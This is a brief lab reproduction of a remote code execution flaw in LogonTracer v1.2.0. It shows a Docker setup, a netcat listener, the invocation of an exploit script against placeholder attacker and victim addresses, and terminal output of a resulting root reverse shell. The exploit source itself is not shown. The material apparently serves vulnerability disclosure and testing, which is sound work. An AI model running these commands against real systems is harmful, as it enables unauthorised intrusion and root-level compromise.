
LogonTracer v1.2.0 RCE
Download the logontracer version 1.2.0, where a vulnerability was found, from dockerhub.
$docker pull jpcertcc/docker-logontracer:v1.2.0
Launch it in a container with the following command.
$docker run \ --detach \ --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \ -e LTHOSTNAME=[IP_ADDR] \ jpcertcc/docker-logontracer:v1.2.0
Open a specific port on the host that will receive the shell using netcat.
PS C:\Users\0ppr2s\Desktop\main\nc> .\nc64.exe -lvp {attacker_port}
listening on [any] 8888 ...
Run the exploit code.
dnr6419@DESKTOP-4CJA7LD ~/docker/logon
☺ python3 go.py {attacker_ip} {attacker_port} http://{victime_ip}:8080
As shown in the figure below, you can see that the exploit code ran successfully and a remote shell was obtained.
PS C:\Users\0ppr2s\Desktop\main\nc> .\nc64.exe -lvp 8888 listening on [any] 8888 ... 192.168.56.103: inverse host lookup failed: h_errno 11004: NO_DATA connect to [192.168.56.1] from (UNKNOWN) [192.168.56.103] 41858: NO_DATA /usr/local/src/LogonTracer # ^[[16;30Rid id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /usr/local/src/LogonTracer # ^[[20;30R
